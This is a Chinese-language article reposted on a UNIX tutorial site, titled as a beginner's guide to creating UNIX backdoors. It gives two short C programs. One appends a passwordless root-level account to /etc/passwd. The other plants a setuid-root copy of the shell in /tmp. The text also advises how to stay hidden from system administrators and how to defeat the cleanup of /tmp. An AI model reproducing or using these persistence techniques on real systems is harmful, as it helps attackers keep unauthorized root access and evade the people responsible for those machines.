[ 永远的UNIX::UNIX技术资料的宝库 ]

首页 > 系统管理 > 其它 > 正文
 

创建UNIX后门(初级篇)

作者:火 来源:不详 (2006-05-25 10:24:09)

 最简单的方法,就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做,因为只要系统管理员检查口令文件就会“漏馅”了。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。
<++> backdoor/backdoor1.c
#include
main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
}
<-->

比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号的 UID 改为 0,并将其第二个域(口令域)设为空。(注意,如果你使用的是较高版本的*nix,也许还要修改 /etc/shadow 文件。)

在 /tmp 目录下放置 suid shell。以后只要你运行这个程序,就会轻易得到根用户权限。这种方法几乎是最受欢迎的了。但有许多系统每几小时,或者每次启动都会清除 /tmp 目录下的数据,另外一些系统则根本不允许运行 /tmp 目录下的 suid 程序。当然,你可以自己修改或清除这些限制(因为你已是根用户,有权限修改 /var/spool/cron/crontabs/root 和 /etc/fstab 文件)。以下是在 /tmp 目录下放置 suid shell 程序的C源程序。

<++> backdoor/backdoor2.c
#include
main()
{
system("cp /bin/sh /tmp/fid");
system("chown root.root /tmp/fid");
system("chmod 4755 /tmp/fid");
}
<-->
(http://www.fanqiang.com)



 
 相关文章
UNIX系统操作入门 2001-04-19 10:12:46
一些奇怪的 unix 指令名字的由来 2001-04-19 10:23:24
什么是UNIX? 2001-04-19 11:07:28
SCOUNIX基础讲座--第一讲:存取权限与文件 2001-05-18 14:55:23
SCOUNIX基础讲座--第二讲shell环境 2001-05-18 14:57:47
SCOUNIX基础讲座--第三讲vi editor 2001-05-18 14:58:20
SCOUNIX基础讲座--第四讲:系统管理 2001-05-18 14:58:55
SCOUNIX基础讲座--第五讲:电子邮件 2001-05-18 14:59:22
SCOUNIX基础讲座--第六讲:後援复制 2001-05-18 15:00:02
SCOUNIX基础讲座--第七讲:用户管理 2001-05-18 15:00:43
SCOUNIX基础讲座--第八讲:监视进程管理 2001-05-18 15:01:43
SCOUNIX基础讲座--第九讲:管理进程 2001-05-18 15:02:10
SCOUNIX基础讲座--第十讲:打印管理 2001-05-18 15:02:40
SCOUNIX基础讲座--第十一讲:TCP/IP 管理 2001-05-18 15:03:07
SCOUNIX基础讲座--第十二讲:使用 TCP/IP 2001-05-18 15:03:35
SCO Unix 制作系统应急盘“Out of inodes”错误的处理 2001-04-21 23:58:44
SCO Unix 故障排除四例 2001-04-21 23:59:31
SCO UNIX5.04中如何删除磁带机? 2001-05-11 09:57:59
SCO UNIX5的几个主要系统进程 2001-05-11 15:00:56
SCO UNIX5 的动态核心表 2001-05-11 15:01:07
 

★  感谢所有的作者为我们学习技术知识提供了一条捷径  ★
www.fanqiang.com